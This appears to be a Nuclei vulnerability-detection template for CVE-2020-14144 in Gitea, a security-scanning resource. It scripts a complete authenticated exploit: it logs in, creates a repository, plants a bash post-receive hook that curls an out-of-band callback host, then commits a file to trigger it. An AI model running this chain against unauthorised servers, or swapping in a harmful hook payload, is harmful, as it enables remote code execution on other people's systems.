nuclei-templates/cves/2020/CVE-2020-14144.yaml

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id: CVE-2020-14144
info:
name: Gitea Git Hooks Remote Code Execution
author: theamanrawat
severity: high
description: |
The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer environments where the documentation was not understood (e.g., one viewpoint is that the dangerousness of this feature should be documented immediately above the ENABLE_GIT_HOOKS line in the config file). NOTE: The vendor has indicated this is not a vulnerability and states "This is a functionality of the software that is limited to a very limited subset of accounts. If you give someone the privilege to execute arbitrary code on your server, they can execute arbitrary code on your server. We provide very clear warnings to users around this functionality and what it provides.
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reference:
- https://dl.gitea.io/gitea/1.16.6
- https://nvd.nist.gov/vuln/detail/CVE-2020-14144
- https://github.com/go-gitea/gitea/pull/13058
- https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
remediation: Fixed in version 1.16.7
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classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2020-14144
cwe-id: CWE-78
metadata:
shodan-query: html:"Powered by Gitea Version"
verified: "true"
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tags: cve,cve2020,rce,gitea,authenticated
requests:
- raw:
- |
GET /user/login HTTP/1.1
Host: {{Hostname}}
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
- |
GET /repo/create HTTP/1.1
Host: {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&uid=1&repo_name={{randstr}}&private=on&description=&repo_template=&issue_labels=&gitignores=&license=&readme=Default&auto_init=on&default_branch=master
- |
POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
- |
GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
- |
POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
_csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body_1
words:
- "Gitea:"
extractors:
- type: regex
name: csrf
group: 1
regex:
- 'name="_csrf" value="(.*)"'
internal: true
- type: regex
name: auth_csrf
group: 1
regex:
- 'name="_csrf" content="(.*)"'
internal: true
- type: regex
name: last_commit
group: 1
regex:
- 'name="last_commit" value="(.*)"'
internal: true